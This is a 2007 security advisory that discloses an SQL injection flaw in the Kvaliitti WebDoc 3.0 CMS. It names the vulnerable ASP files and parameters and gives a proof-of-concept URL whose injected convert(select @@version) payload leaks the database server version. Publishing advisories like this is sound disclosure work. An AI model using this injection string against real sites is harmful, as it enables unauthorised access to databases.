Kvaliitti WebDoc 3.0 CMS SQL Injection vulnerability

2007-12-09T00:00:00
ID SECURITYVULNS:DOC:18596
Type securityvulns
Reporter Securityvulns
Modified 2007-12-09T00:00:00

Description

Found by: Jaakko "Chrysalid" Hartikainen

  1. Info

Kvaliitti WebDoc 3.0 CMS is a proprietary Finnish-made content management system developed by Kvaliitti Oy (http://www.kvaliitti.fi). It is driven by MS SQL Server and ASP.

  1. Abstract

WebDoc 3.0 suffers from a flaw in input validation, which allows attackers to insert malicious SQL queries into an existing one, possibly gaining complete control over an affected system.

  1. Vulnerable files & PoC:

categories.asp, subcategory.asp, document_id, cat_id

This proof of concept example exposes the internal server variable called "@@version":

http://www.vulnerable.tld/categories.asp?document_id=37&cat_id=convert(int,(select+@@version));--

  1. Misc

Vendor notified: yes

--